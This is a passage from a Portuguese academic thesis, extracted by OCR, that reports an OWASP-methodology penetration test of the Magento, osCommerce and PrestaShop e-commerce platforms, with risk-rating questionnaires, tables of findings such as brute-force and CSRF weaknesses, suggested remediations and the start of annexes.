CM-005 Handling
OWASP- | Old, backup and
CM-006 unreferenced files
OWASP- | Infrastructure and
CM-007 Application Admin
Interfaces
OWASP- | Testing for HTTP Methods
CM-008 and XST
Teste de | OWASP- | Credentials transport over
autenticacao AT-001 an encrypted channel
OWASP- | Testing for user
AT-002 Enumeration
OWASP- | Testing  for  Guessable
AT-003 (Dictionary) User Account
OWASP- | Brute Force Testing
AT-004
OWASP- | Testing  for  bypassing
AT-005 authentication schema
OWASP- | Testing  for  vulnerable
AT-006 remember password and
pwd reset
OWASP- | Testing for Logout and
AT-007 Browser Cache

Management
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Categoria Numero Nome do teste Encontrado | Solugdo | Risco
de ref.
OWASP- | Testing for CAPTCHA
AT-008
OWASP- | Testing Multiple Factors
AT-009 Authentication
OWASP- | Testing for Race Conditions
AT-0010
Gerenciamento | OWASP- | Testing for Session
de sessdo SM-001 Management Schema
OWASP- | Testing for Cookies
SM-002 Attributes
OWASP- | Testing for Session Fixation
SM-003
OWASP- | Testing for Exposed Session
SM-004 Variables
OWASP- | Testing for CSRF
SM-005
Teste de | OWASP- | Testing for Path Traversal
autorizagao AZ-001
OWASP- | Testing  for  bypassing
AZ-002 authorization schema
OWASP- | Testing  for  Privilege
AZ-003 Escalation
Teste de logica | OWASP- | Testing for business logic
do negdcio BL-001
Teste de | OWASP- | Testing for Reflected Cross
validagdo  de | DV-001 Site Scripting
dados OWASP- | Testing for Stored Cross
DV-002 Site Scripting
OWASP- | Testing for DOM based
DV-003 Cross Site Scripting
OWASP- | Testing for Cross Site
DV-004 Flashing
OWASP- | SQL Injection
DV-005
OWASP- | LDAP Injection
DV-006
OWASP- | ORM Injection
DV-007
OWASP- | XML Injection
DV-008
OWASP- | SSI Injection
DV-009
OWASP- | XPath Injection
DV-010
OWASP- | IMAP/SMTP Injection

DV-011
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Categoria Numero Nome do teste Encontrado | Solugdo | Risco
de ref.
OWASP- | Code Injection
DV-012
OWASP- | OS Commanding
DV-013
OWASP- | Buffer overflow
DV-014

OWASP- | Incubated vulnerability
DV-015 Testing

OWASP- | Testing for HTTP Splitting /
DV-016 Smuggling

Teste de | OWASP- | Testing for SQL Wildcard

negagao de | DS-001 Attacks

servigo OWASP- | Locking Customer Accounts
DS-002

OWASP- | Testing for DoS Buffer
DS-003 Overflows

OWASP- | User  Specified  Object
DS-004 Allocation

OWASP- | User Input as a Loop
DS-005 Counter

OWASP- | Writing User Provided Data
DS-006 to Disk

OWASP- | Failure to Release
DS-007 Resources

OWASP- | Storing too Much Data in
DS-008 Session

Teste Web | OWASP- | WS Information Gathering

Services WS-001
OWASP- | Testing WSDL
WS-002
OWASP- | XML Structural Testing
WS-003
OWASP- | XML content-level Testing
WS-004
OWASP- | HTTP GET

WS-005 parameters/REST Testing

OWASP- | Naughty SOAP attachments
WS-006

OWASP- | Replay Testing
WS-007

Teste Ajax OWASP- | AJAX Vulnerabilities
AJ-001

OWASP- | AJAX Testing
WS-002

Fonte: OWASP Testing Guide, 2008.
Com uso das ferramentas apresentadas no capitulo anterior, para a coleta de

informagdes na realizacdo de testes e a tabela 5.1 para a validagdo deles, se tem como objetivo
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encontrar algumas vulnerabilidades de risco baixo e médio, além de possivelmente alguma de
risco alto. Mas, esta ultima ndo se tem muita expectativa devido as plataformas de comércio
eletronico que serdo testadas sdo populares, possuem diversos desenvolvedores e ainda ¢

utilizada por muitas lojas virtuais.

5.1 Arquitetura computacional

Para validar a pesquisa se teve a necessidade da apresentacdo da arquitetura
computacional, na qual foram instalados os portais de e-commerce, devido a possivel
existéncia de problemas de seguranca j& conhecidos em alguns sistemas operacionais e
softwares. Nesse sentido, foi utilizado um servico de hospedagem como ambiente
computacional para tornar o experimento préoximo de um ambiente real de testes. O servidor
usado utiliza sistema operacional Linux distribuicdo CentOs 6x e versdo de kernel 2.6.18-
308.11.1.el5. Ainda, possui 12 gigabytes (Gb) de memoria e processador 8 Intel(R) Xeon(R)
CPU E5620 @ 2.40GHz. Além dessas informacdes, ele executa os seguintes servicos:

Apache versdo 2.2.22;

e PHP versao 5.3.14;

e MySQL versao 5.1.63-cl;
e Exim smtpd 4.77,

e OpenSSH 4.3.

Foram identificadas, também, outras portas abertas, que sdo associadas a alguns

Servigos:
e FTP —porta 21.
e POP3 —porta 110.

e IMAP —porta 143.

5.2 Ambientes a serem testados

Os ambientes a serem testados, sdo open-source como ja citados anteriormente, e sao

0s seguintes:

e  Magento: mantido pela empresa Varien, ¢ considerado uma das plataformas de

comércio eletrdnico mais completa, flexivel e personalizdvel, adaptando-se conforme
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as necessidades do usudrio e do negocio. A versdo utilizada nos testes foi a Magento
community edition 1.7.0.2, a qual tem como requisitos para sua instalagdo: PHP 5.2.0
ou mais recente, MySQL 4.1.20 ou mais recente. Outros detalhes que podem ser
encontrados em http://www.magentocommerce.com/system-requirements

(MCCOMBS; BANH, 2010);

@ Magento

Figura 5.1 — Logomarca do Magento.
OsCommerce: iniciado em 2000 e distribuido sob licenga General Public license,
possui mais de cinco mil complementos disponiveis para atender todo o tipo de
necessidade do proprietario. OsCommerce versao 2.3.2, foi desenvolvido com a
linguagem PHP e utiliza como servidor de banco de dados o MySQL, dessa forma,
necessita o PHP 5.0 ou superior e MySQL 5.0 ou superior para que funcione de modo
adequado. Demais informagdes sobre o ambiente sdo encontrados na documentagdo

http://www.oscommerce.info/confluence/dashboard.action (OSCOMMERCE, 2012);

O osCommerce

Figura 5.2 — Logomarca do OsCommerce.
Prestashop: disponivel em 41 idiomas e utilizado por mais de 100 mil lojas, o
PrestShop 1.4.8.2 ¢ um software livre que possui 275 funcionalidades e pode ser
configurado de acordo com as necessidades da empresa. Sua customizacdo ¢ desde o
layout até¢ o método de envio dos produtos. Seus requisitos para instalagao sdao muito
parecidos com os anteriores, sendo necessarios os seguintes softwares: Apache 1.3,
PHP 5.1 ou superior, MySQL 5.0 ou superior. Algumas configuragdes opcionais
podem ser encontradas em  http://www.prestashop.com/pt/requisitos-sistema

(PRESTASHOP, 2012).

PRESTASE

Figura 5.3 — Logomarca do PrestaShop.
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Entdo, neste capitulo foram apresentados os ambientes que serdo objeto de estudo
neste trabalho, como também informacdes sobre a arquitetura computacional. No capitulo
seguinte sera analisado, validado os resultados de cada ambiente e sugerido algumas

melhorias.



6 VALIDACAO

Tao importante quanto a descoberta de vulnerabilidades ¢ estimar a gravidade delas
para que possam ser priorizadas as corregdes e, assim, diminuir o risco ao negocio. Como
uma vulnerabilidade pode ter seu risco ao negocio avaliado diferentemente entre empresas,
sera apresentado um modelo simples da metodologia OWASP que posteriormente pode ser

customizado de acordo com as necessidades (2008).

Sendo assim, o modelo parte de uma equagdo, como se pode visualizar na figura 6.1,
que utiliza duas varidveis como ponto de partida. Inicialmente ¢ avaliada a probabilidade de
acontecer a exploragdo e o impacto na seguranca da aplicacdo. Com a combinacdo destes

dados se obtém o risco global para que se possam tomar medidas corretivas.

Risco = probabilidade * inpacto

Figura 6.1 — Equagao do risco.
Fonte: Adaptado de OWASP Testing Guide, 2008.

O primeiro passo ¢ a identificacdo de uma falha de seguranga. Com tal identificacao ¢ preciso
reunir informagdes sobre ela, como: o impacto da exploragdo sobre o negécio e o tipo de

possiveis atacantes.

6.1 Probabilidade

Com as informacdes reunidas sobre a falha, elas sdo utilizadas para determinar a
probabilidade de uma provavel descoberta e exploragdo por algum atacante. Essa
identificagdo ¢ simples e ndo necessita de muitos detalhes, sendo suficiente a determinagao se
a probabilidade ¢ baixa, média ou alta. Para realizar tal avaliagdo h4 alguns fatores a serem
considerados, sendo o primeiro conjunto relacionado ao agente da ameaga. Essa etapa tem
como finalidade determinar a possibilidade de éxito de um grupo de atacantes. Este processo ¢
feito com um questiondrio, onde cada pergunta possui diversas op¢des e cada uma delas tem
um indice de probabilidade de 0 a 9 associado. Para responder as perguntas deve-se levar em

consideragdo o agente da ameaca do pior caso (OWASP, 2008).

Como ¢ qualificado tecnicamente o grupo de atacantes?

e Sem habilidades técnicas (1);
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e Algumas habilidades técnicas (3);
e Usudrio de computador avancgado (4);
e Habilidades de rede e programagdo (6);

e Habilidades de seguranca e pentest (9).

Como ¢ motivado este grupo de atacantes a encontrar € explorar essa vulnerabilidade?
e Recompensa baixa ou nenhuma (1);
e Possivel recompensa (4);

e Recompensa alta (9).

Quantas oportunidades esse grupo de atacantes tem para encontrar e explorar essa

vulnerabilidade?
e Sem acesso conhecido (0);
e Acesso limitado (4);

e Acesso completo (9).

Qual o tamanho deste grupo de atacantes?

e Desenvolvedores (2);

Administradores de sistemas (2);

Usuadrios da intranet (4);

Parceiros (5);

e Usuadrios autenticados (6);

Usuarios de internet andnimos (9).

O outro conjunto de fatores a levar em consideragdo ¢ a probabilidade de a vulnerabilidade ser

encontrada e explorada pelo agente da ameaga avaliado anteriormente.



Como ¢ a facilidade desse grupo de atacantes descobrirem esta vulnerabilidade?
e Praticamente impossivel (1);
e Dificil (3);
e Facilmente (7);

e Ferramentas automatizadas disponiveis (9).

Como ¢ a facilidade desse grupo de atacantes explorar essa vulnerabilidade?
e Teodrica (1);
e Dificil (3);
e Facil (5);

e Ferramentas automatizadas disponiveis (9).

Como ¢ o conhecimento sobre esta vulnerabilidade por este grupo de atacantes?
e Desconhecido (1);
e Oculto (4);
e Obvio (6);

e Conhecimento publico (9).

Qual a probabilidade de uma exploragao ser detectada?
e Deteccao ativa na aplicagdo (1);
e Registrado e analisado (3);
e Somente registrado (8);

e Nao registrado (9).

55
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6.2 Impacto

Apo6s a identificagdo do nivel de probabilidade a etapa seguinte ¢ avaliar o impacto
de um ataque bem sucedido. Nesse momento deve ser avaliado o impacto técnico, que € o
qual atua sobre aplicagdo, dados e fungdes utilizados por ela. Ja o impacto no negocio € sobre
como sera afetada a empresa e as suas operacdes. Por isso devem ser respondidos os
questionarios a seguir que possui igualmente, como os anteriores, um conjunto de opcoes e
um indice de impacto associado. Primeiramente segue o questionario sobre o impacto técnico

(OWASP, 2008).

Quantos dados podem ser divulgados e qual a sensibilidade deles?
¢ O minimo de dados ndo confidenciais divulgados (2);
¢ O minimo de dados criticos divulgados (6);
e Extensos dados ndo sensiveis divulgados (6);

e Extensos dados criticos divulgados, todos os dados divulgados (9).

Qual a quantidade de dados pode ser corrompida e danificada?
¢ O minimo de dados ligeiramente corrompidos (1);

e O minimo de dados seriamente corrompidos (3);

Extensos dados e pouco corrompidos (5);

Extensos dados e seriamente corrompidos (7);

Todos os dados totalmente corrompidos (9).

Quanto a disponibilidade, qual a quantidade de servigos perdidos e quao vital isso €?
¢ O minimo de servigos secundarios interrompidos (1);
e O minimo de servigos primarios interrompidos (5);
e Extensos servigos secundarios interrompidos (5);

e Extensos servigos primarios interrompidos (7);
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e Todos os servicos perdidos (9).

As agdes dos invasores sdo rastreaveis?
e Totalmente rastreavel (1);
e Possivelmente rastreavel (7);

e Completamente anonimo (9).

O impacto do negdcio decorre do impacto técnico, mas possibilita maior compreensdo do que
a empresa precisa para utilizar a aplicagdo. Sendo assim, o questiondrio que contém perguntas
sobre o impacto no negocio tem o objetivo de fornecer dados para os executivos e diretores

tomarem decisdes de investimento na resolugao dos problemas (OWASP, 2008).

Quanto de dano financeiro resultard uma exploracao?
e Menos do que o custo para corrigir a vulnerabilidade (1);
e Pequeno efeito no lucro anual (3);
e Efeito significativo no lucro anual (7);

e Faléncia (9).

Quanto de danos a reputacado e prejudicaria o negdcio uma exploragao?
e Danos minimos (1);
e Perda de grandes contas (4);
e Perda de clientela (5);

e Danos a marca (9).

Quanto de ndo cumprimento de servigos aos clientes pode gerar uma exploragao?

e Violagio pequena (2);
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e Violagdo clara (5);

e Violagdo grande (7);

Quanta informacao pessoal e identificavel pode ser divulgada?
e Uma pessoa (3);
e (entenas de pessoas (5);
e Milhares de pessoas (7);

e Milhdes de pessoas (9).

6.3 Gravidade do risco

Depois de avaliar a probabilidade e o impacto, as duas varidveis da equacdo da figura
6.1, serd calculada a gravidade global da vulnerabilidade. Para isso, com os indices das
respostas dos questionarios sera estabelecido o nivel de risco da probabilidade e o impacto
(OWASP, 2008). A primeira etapa ¢ a selecdo dos indices das respostas dos questionarios
sobre probabilidade e inseri-los em uma tabela como exemplifica a figura 6.2 que calcula a
sua média. Com o resultado da média e o auxilio da tabela 6.1 que contém a escala, serd

estabelecido o nivel da probabilidade global.

Tabela 6.1 — Niveis de probabilidade e impacto.

Niveis de probabilidade e impacto
0até<3 Alto

Jaté <6 Médio

6 até 9 Baixo

Fonte: Adaptado de OWASP Testing Guide, 2008.

Fatores do agente Fatores da vulnerabilidade
Nivel de |Motivo |Oportunidade| Tamanho | Facilidade |Facilidade | Conhecimento (Deteccdo
habilidade de de de
descoberta| explorar intrusdo
5 2 7 1 3 6 9 2
Probabilidade global = 4.375 Meédio

Figura 6.2 — Célculo da probabilidade global.
Fonte: Adaptado de OWASP Testing Guide, 2008.
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O passo seguinte ¢ verificar o impacto, assim, serdo distribuidas as respostas em uma
tabela de modo parecido com o anterior, como exemplifica a figura 6.3. Mas a escala utilizada
¢ diferente da anterior. Nesse caso, se a média for menor que 3 ¢ baixo, de 3 até 6 ¢ médio e

de 6 até 9 ¢ alto.

Impacto técnico Impacto no negocio
Perda de Perdade | Perdade |Rastreabilidade| Danos | Danosa |Descomprimento| Violagdo
confidencialidade |integridade |disponibilidade financeiros |reputagdo de
privacidade
9 7 5 8 1 2 | 5
Impacto técnico global =7.25 Alto Impacto no negdcio global = 2.25 Baixo

Figura 6.3 — Célculo do impacto.
Fonte: Adaptado de OWASP Testing Guide, 2008.

Com as respostas da probabilidade e o impacto, serd determinada a gravidade final
da falha. Dessa forma, a avaliagdo sera realizada por meio da classificagdo dessas varidveis.
No entanto, deve se levar em consideracdo o uso de apenas um tipo de impacto, para isso a
sua escolha deverd ser comparada com qual das duas se tem mais informagdes. Apos esta
escolha e a ajuda da figura 6.4 ¢ executada uma combinag¢do do impacto e a probabilidade

para se chegar a uma classificacao final.

Gravidade do risco final

Alto Medio Alto Critico
Medio Baixo Medio Alto
Impacto 2 = : I
Baixo Observagac  |Baixo nedio
X Baixo mMedio Alto
Probabilidade

Figura 6.4 — Célculo do impacto.
Fonte: Adaptado de OWASP Testing Guide, 2008.

6.4 Tabelas de resultados

Foi realizado um levantamento minucioso sobre os resultados dos testes apos a
execucao de todos contidos na documentacao da metodologia. Considerou-se todo o processo
citado no Testing Guide e as ferramentas apresentadas anteriormente. Os resultados dos testes
foram conforme a expectativa, ja que identificaram-se vulnerabilidades de trés categorias
diferentes, que serdo apresentadas em tabelas separadas por cada ambiente de comércio

eletronico e ap6s uma tabela com os resultados gerais.
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6.4.1 Resultados Magento

Depois da realizacdo de todos os testes no ambiente Magento foi obtida apenas uma

falha como pode ser observado na tabela 6.2.

Tabela 6.2 — Resultados do Magento.

Categoria Numero de | Nome do teste Encontrado | Solugdo Risco
ref.
Teste de | OWASP- Brute Force | Sem limite | Estabelecer um | Baixo
autenticacao | AT-004 Testing de limite de
tentativas tentativas de

de login na | login e habilitar
interface de | reCAPTCHA
clientes. apos 3 tentativas.

O resultado do Magento foi o melhor entre os trés. O problema de seguranga encontrado €
igualmente presente em diversas lojas virtuais, mas, seu risco ndo preocupa devido a ser baixo
e relacionado com a interface do cliente, sendo assim, ndo muito visado por criminosos, no

entanto na sessao de analise serd proposta uma melhoria para resolvé-la.

6.4.2 Resultados OsCommerce

Com a realizacdo dos mesmos testes executados nas trés plataformas, a OsCommerce

apresentou alguns problemas de seguranga apresentados na tabela 6.3.

Tabela 6.3 — Resultados do OsCommerce.

Categoria Numero de | Nome do teste | Encontrado Solugao Risco
ref.
Teste de | OWASP- | Brute Force | Sem limite de | Estabelecer um | Baixo
autentica¢ao AT-004 Testing tentativas de | limite de
login na | tentativas de
interface  de | login e habilitar
clientes. reCAPTCHA
apos 3
tentativas.
Gerenciamento | OWASP- | Testing for | Nao ¢ | Implementar a | Baixo
de sessao SM-003 Session modificado modificacdo de
Fixation cookie apods a | cookie apds a
autenticacdo | autenticacao
na interface
administrativa
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OWASP- | Testing for | Na interface | Utilizar campos | Médio
SM-005 CSRF administrativa | do tipo hidden
¢ possivel | com um token
fazer gerado de forma
requisigoes aleatoria em
falsas  com | formularios e
um cookie | armazenar  na
roubado sessao do
usuario, ao ser
enviado €
comparado  os
tokens e caso
diferentes  ndo
executa a
requisi¢ao.
Teste de | OWASP- | Locking Na interface | Estabelecer um | Baixo
negagao de | DS-002 Customer administrativa | limite de
servigo Accounts apos 3 | tentativas de
tentativas de | login e habilitar
login. reCAPTCHA
apos 3
tentativas.

A plataforma OsCommerce apresentou a vulnerabilidade CSRF de risco médio ja encontrado

em servicos conhecidos como Netflix, Twitter e outros como citado no capitulo de técnicas.

Igualmente como os demais softwares encontrou-se também a presenca da falha de forca

bruta.

6.4.3 Resultados PrestaShop

Igualmente com as duas plataformas de e-commerce que foram apresentados os

resultados anteriormente, o Prestashop passou pelo mesmo processo e constatou-se maior

vulnerabilidades como se percebe na tabela 6.4.

Tabela 6.4 — Resultados do PrestaShop.

Categoria Numero de | Nome do teste Encontrado | Solugdo Risco
ref.

Teste de | OWASP- Brute Force | Sem limite | Estabelecer  um | Baixo

autenticagdo | AT-004 Testing de limite de
tentativas tentativas de login
de login na | e habilitar
interface de | reCAPTCHA apds
clientes. 3 tentativas.
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OWASP- Brute Force | Sem limite | Estabelecer  um | Baixo
AT-004 Testing de limite de
tentativas tentativas de login
de login na | e habilitar
interface reCAPTCHA ap6s
administrati | 3 tentativas..
va.
OWASP- Testing for | Sem limite | Estabelecer limite | Médio
AT-007 Logout and | de timeout | de timeout.
Browser Cache | na interface
Management de clientes
OWASP- Testing for | Sem limite | Estabelecer limite | Médio
AT-007 Logout and | de timeout | de timeout
Browser Cache | na interface
Management administrati
va
Gerenciamen | OWASP- Testing for | Na interface | Diminuir a | Baixo
to de sessao | SM-002 Cookies de clientes | duracao dos
attributes cookies cookies para 1 dia.
vélidos por
20 dias.
OWASP- Testing for | Na interface | Diminuir a | Baixo
SM-002 Cookies administrati | duragao dos
attributes va cookies | cookies para 1 dia.
validos por
20 dias.
OWASP- Testing for | Na interface | Utilizar  campos | Médio
SM-005 CSRF de clientes ¢ | do tipo hidden
possivel com um ftoken
fazer gerado de forma
requisigdes | aleatdria em
falsas formularios e
mesmo apos | armazenar na
o logout do | sessdo do usudrio,
usuario do | ao ser enviado ¢
qual o | comparado 0s
cookie foi | tokens e caso
roubado. diferentes nao
executa a

requisicao.
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OWASP- Testing for | Na interface | Utilizar campos | Médio
SM-005 CSRF administrati | do tipo hidden
va ¢ [com um foken
possivel gerado de forma
falsificar aleatoria em
requisicdes | formularios e
mesmo apos | armazenar na

o logout do | sessdo do usuario,
usudrio do | ao ser enviado ¢

qual o | comparado 0s

cookie foi | tokens e caso

roubado. diferentes nao
executa a
requisicao.

Comparando os resultados do PrestaShop com os demais, este apresentou nivel de seguranga
mais baixo devido as oito vulnerabilidades terem sido descobertas nesse ambiente. A
preocupacao maior se deve a metade desses problemas de seguranca ser de nivel médio,
necessitando assim atencdo especial para essas informacdes para que algumas agdes sejam

tomadas para solucionar.

6.5 Tabela geral

Os dados gerais foram distribuidos na tabela 6.5 para que seja possivel a visualizagao

mais pratica das falhas contidas nos ambientes testados.

Tabela 6.5 — Resultados dos gerais.

ggtr:e do PrestaShop | OsCommerce Magento Total (%) Total
Brute force | 2 1 1 30,8 4
Session 0 1 0 7,70 1
fixation

CSRF 2 1 0 23,1 3
Locking 0 I 0 7,70 I
account

Cookie

attribute 2 0 0 15.4 2
Logout and

browser 2 0 0 15,4 2
cache

management

Total (%) 61,6 30,8 7,70 100

Total 8 4 1 13

Observa-se na tabela 6.5 duas informagdes que se destacam das demais. Sendo que na

primeira mais da metade das vulnerabilidades foram encontradas no PrestaShop, enquanto o
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outro dado que se verifica é o percentual de falhas encontradas com o teste de forga bruta

sendo de aproximadamente 30%.

6.6 Analise

Para dar inicio ao pentest foi feita uma avaliacdo e o recolhimento de informagdes
sobre os aplicativos a serem testados. Essa primeira etapa foi realizada para verificar possiveis
pontos de entrada nas plataformas e areas suscetiveis a falhas, além da identificacdo de
servicos que sao executados pelo servidor. Com o conhecimento desses dados iniciais deu-se
o inicio dos testes propriamente dito. Tais testes abordaram gerenciamento de configuracao,

autenticagdo, gerenciamento de sessdo, validagdo de dados entre outros.

As figuras 6.5 e 6.6 representam o numero de vulnerabilidades encontradas nas trés
aplicagcdes de e-commerce, na qual ¢ possivel verificar maior quantidade de defeitos nas
categorias autenticagdo e gerenciamento de sessdo, igualmente com 6 vulnerabilidades cada
uma, totalizando 46,15% do total cada uma dessas categorias. Conclui-se, entdo, esses serem

pontos frageis e mais suscetiveis a exploracdes.

| ]
0_ T T 1

Autenticacdo Gerenciamento Negacdode
de sessdo servigo

Figura 6.5 — Resultado por categorias.
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Figura 6.6 — Resultado por ambiente.
Outro ponto importante a se observar ¢ a quantidade de falhas encontradas em cada
plataforma que podem ser visualizadas nos graficos de resultados imagens 6.7 ¢ 6.8. O
ambiente Prestashop foi o qual encontrou-se maior nimero de defeitos, um total de 8 ou

61,54%, sendo quatro desses de risco médio.
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Figura 6.7 — Resultado Prestashop.
Em segundo, no software OsCommerce, foram encontradas 4 vulnerabilidades, com apenas
uma de nivel médio. Por fim, deve-se ressaltar o ambiente Magento, com apenas uma falha,
esta de forga bruta e considerada de risco baixo. Por isto, considerado o mais seguro entre os

trés ambientes nos testes realizados neste estudo.
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Figura 6.8 — Resultado OsCommerce.

6.7 Sugestdes de melhoria

Para o combate de tais falhas, foram propostas algumas solu¢des. Primeiramente,
quanto a vulnerabilidade de forca bruta contida nas trés plataformas testadas, a sugestao ¢ de
dispor uma interface na qual ¢ possivel configurar e limitar as tentativas de login e também
um modulo reCAPTCHA para ser habilitado apds atingir tal limite. A escolha dessa tecnologia
da-se devido sua maior seguranca ja que o captcha pode ser mais facilmente quebrado como
mostrado por Yan e El (2008, APUD MUNIZ, 2011). O objetivo dessa sugestdo ¢ permitir
que os usuarios continuem tentando efetuar o login, mas ao mesmo tempo impedir que
ferramentas automatizadas realizem a tarefa de descobrir um usuério e ou senha existentes.
Outro motivo para tal escolha ¢ devido a algumas aplicagdes apenas bloquearem a conta por
determinado tempo, no entanto essa alternativa ndo ¢ a ideal para um cliente nem para um
usudrio administrativo. O cliente que realizara uma compra muitas vezes quer agilidade e
facilidade, e com esse recurso iria dificultar a aquisi¢do. Ja para o administrador o bloqueio
ndo ¢ o mais indicado, pois poderia causar problemas de negagdo de servigo. Esta mesma
solugdo ¢ sugerida para a vulnerabilidade de locking accounts encontrada no ambiente

OsCommerce, pois consegue sanar o problema e garantir a seguranga dos usuarios.

Quanto aos defeitos CSRF encontrados nos ambientes PrestaShop ¢ OsCommerce o
mecanismo sugerido para resolver tal problema ¢ de utilizar campos do tipo hidden para ser
atribuido a ele um foken gerado de forma aleatéria a cada requisi¢do e salvar este foken na
sessdo do usudrio. Ao ser enviado o formulario, o servidor ira processar a requisi¢ao e
comparar se o dado do campo ¢ igual ao da sessdo, caso positivo € realizada a acdo. Esta

sugestdo dificultaria de forma significativa um ataque deste tipo, ja4 que o invasor teria que
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adivinhar o token devido ele ser alterado a cada solicitagio HTTP. Outra medida para

complementar a solugdo ¢ verificar que o usudrio veio da pagina onde esta o formulario.

A falha de session fixation contida no OsCommerce pode favorecer sequestros de
sessdo quando a aplicagdo nao renova o cookie apds a autenticagdo bem sucedida. Dessa

forma, ¢ sugerido que se desenvolva um mecanismo para realizar essa renovagao.

O problema de cookie attribute encontrado no PrestaShop ¢ que ele tem uma duragdo
de 20 dias, um tempo relativamente grande para manter esses dados validos e permitir que um
invasor capture essa informagao e acesse a aplicagdo. Para solucionar essa vulnerabilidade na
interface administrativa sugere-se a retirada do atributo expires, pois assim o mesmo ¢ valido
apenas para a sessdo atual e quando o navegador for fechado ele ¢ invalidado. J4 para a
interface de clientes a sugestdo ¢ de reduzir o tempo de duragcdo para 1 dia, porque
informacdes do carrinho de compras sao armazenadas nele possibilitando que uma compra

seja concluida nesse periodo.

A vulnerabilidade encontrada com o teste logout and browser cache management no
ambiente PrestaShop ¢ que a aplicacdo ndo tem limite de timeout, com o tempo de inatividade
do usuario, a solugdo para isso ¢ a implementacao de um limite de 30 minutos. Considera-se
que a escolha desse tempo deu-se analisando a seguranca e a usabilidade dois fatores

importantes para essa decisdo como citado no OWASP Testing Guide (2008).



CONCLUSAO

Com o crescimento da utilizagdo de aplicagdo web e dos usuarios de internet no
Brasil ¢ necessaria a existéncia de maior protecdo dos dados nesses sistemas para garantir os

principios de seguranga: autenticidade, confiabilidade e disponibilidade.

A realizagdo do trabalho partiu do interesse do autor pela area de seguranga da
informacao, para obter um conhecimento sobre a mesma e alcancar alguns objetivos, tais
como: estudar as técnicas de exploracao e também a metodologia OWASP, observando os
dados estatisticos sobre o setor de comércio eletronico, pode se notar a preocupagdo com a

seguranga nas transacdes e com a privacidade de seus usuarios.

O trabalho buscou com o uso da metodologia OWASP, a avaliagdo e analise sobre
as principais plataformas de comércio eletronico de codigo aberto. Essa analise de
vulnerabilidades deu-se a partir de véarios testes que tinham como alvo a autenticagdo, o
controle de acesso, a validagdo dos dados de entrada, o gerenciamento da sessdo e outros. O
projeto, também, proporciona ao leitor, entender o processo de teste de penetracao seguindo a
metodologia escolhida e aplicada nestes ambientes propostos. Como também sugestao de

algumas medidas preventivas ou para a solu¢do dos problemas encontrados.

Com as técnicas apresentadas e com o pentest, pode-se garantir aos ambientes
disponiveis na web maior seguranca ¢ suportem aos ataques identificados no decorrer do
projeto, ndo proporcionando assim que um usuario mal intencionado ameace as informacdes ¢

a privacidade dos clientes.

Além dessas conclusdes, fica como sugestdo de trabalhos futuros, a possibilidade de
realizacdo de testes em ambientes reais, com determinadas cargas de dados e usuarios
acessando simultaneamente alguns recursos das aplicagdes apresentadas, com o objetivo de

encontrar algumas vulnerabilidades diferentes.
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ANEXO A - RESPOSTAS DO QUESTIONARIO DE PROBABILIDADE E
IMPACTO DA VULNERABILIDADE DE FORCA BRUTA DO MAGENTO

Questdes sobre probabilidade:

Como ¢ qualificado tecnicamente o grupo de atacantes?
e Algumas habilidades técnicas (3).

Como ¢ motivado este grupo de atacantes a encontrar € explorar essa vulnerabilidade?
e Recompensa baixa ou nenhuma (1).

Quantas oportunidades esse grupo de atacantes tem para encontrar e explorar essa

vulnerabilidade?
e Acesso completo (9).

Qual o tamanho deste grupo de atacantes?
e Usuadrios de internet anonimos (9).

Como ¢ a facilidade desse grupo de atacantes descobrirem esta vulnerabilidade?
e Facilmente (7).

Como ¢ a facilidade desse grupo de atacantes explorar essa vulnerabilidade?
e Dificil (3).

Como ¢ o conhecimento sobre esta vulnerabilidade por este grupo de atacantes?
e Obvio (6).

Qual a probabilidade de uma exploragao ser detectada?

e Somente registrado (8).

Questdes sobre impacto técnico:

Quantos dados podem ser divulgados e qual a sensibilidade deles?
¢ O minimo de dados nao confidenciais divulgados (2).

Qual a quantidade de dados pode ser corrompida e danificada?

e O minimo de dados ligeiramente corrompidos (1).



Quanto a disponibilidade, qual a quantidade de servigos perdidos e quao vital isso ¢?
¢ O minimo de servigos secundarios interrompidos (1).
As agdes dos invasores sdo rastreaveis?

e Possivelmente rastreavel (7).

Questdes sobre impacto no negocio:

Quanto de dano financeiro resultara uma exploracao?
e Menos do que o custo para corrigir a vulnerabilidade (1).

Quanto de danos a reputacao e prejudicaria o negdcio uma exploragao?
e Danos minimos (1).

Quanto de ndo cumprimento de servigos aos clientes pode gerar uma exploragao?
e Violagdo pequena (2).

Quanta informagao pessoal e identificavel pode ser divulgada?

e Uma pessoa (3).
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ANEXO B — RESPOSTAS DO QUESTIONARIO DE PROBABILIDADE E
IMPACTO DA VULNERABILIDADE DE FORCA BRUTA DO OSCOMMERCE

Questdes sobre probabilidade:

Como ¢ qualificado tecnicamente o grupo de atacantes?
e Algumas habilidades técnicas (3).

Como ¢ motivado este grupo de atacantes a encontrar € explorar essa vulnerabilidade?
e Recompensa baixa ou nenhuma (1).

Quantas oportunidades esse grupo de atacantes tem para encontrar e explorar essa

vulnerabilidade?
e Acesso completo (9).

Qual o tamanho deste grupo de atacantes?
e Usuadrios de internet anonimos (9).

Como ¢ a facilidade desse grupo de atacantes descobrirem esta vulnerabilidade?
e Facilmente (7).

Como ¢ a facilidade desse grupo de atacantes explorar essa vulnerabilidade?
e Dificil (3).

Como ¢ o conhecimento sobre esta vulnerabilidade por este grupo de atacantes?
e Obvio (6).

Qual a probabilidade de uma exploragao ser detectada?

e Somente registrado (8).

Questdes sobre impacto técnico:

Quantos dados podem ser divulgados e qual a sensibilidade deles?
¢ O minimo de dados nao confidenciais divulgados (2).

Qual a quantidade de dados pode ser corrompida e danificada?

e O minimo de dados ligeiramente corrompidos (1).



Quanto a disponibilidade, qual a quantidade de servigos perdidos e quao vital isso ¢?
¢ O minimo de servigos secundarios interrompidos (1).
As agdes dos invasores sdo rastreaveis?

e Possivelmente rastreavel (7).

Questdes sobre impacto no negocio:

Quanto de dano financeiro resultara uma exploracao?
e Menos do que o custo para corrigir a vulnerabilidade (1).

Quanto de danos a reputacao e prejudicaria o negdcio uma exploragao?
e Danos minimos (1).

Quanto de ndo cumprimento de servigos aos clientes pode gerar uma exploragao?
e Violagdo pequena (2).

Quanta informagao pessoal e identificavel pode ser divulgada?

e Uma pessoa (3).
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ANEXO C - RESPOSTAS DO QUESTIONARIO DE PROBABILIDADE E
IMPACTO DA VULNERABILIDADE DE SESSION FIXATION DO
OSCOMMERCE

Questdes sobre probabilidade:

Como ¢ qualificado tecnicamente o grupo de atacantes?
e Habilidades de seguranca e pentest (9).

Como ¢ motivado este grupo de atacantes a encontrar e explorar essa vulnerabilidade?
e Possivel recompensa (4).

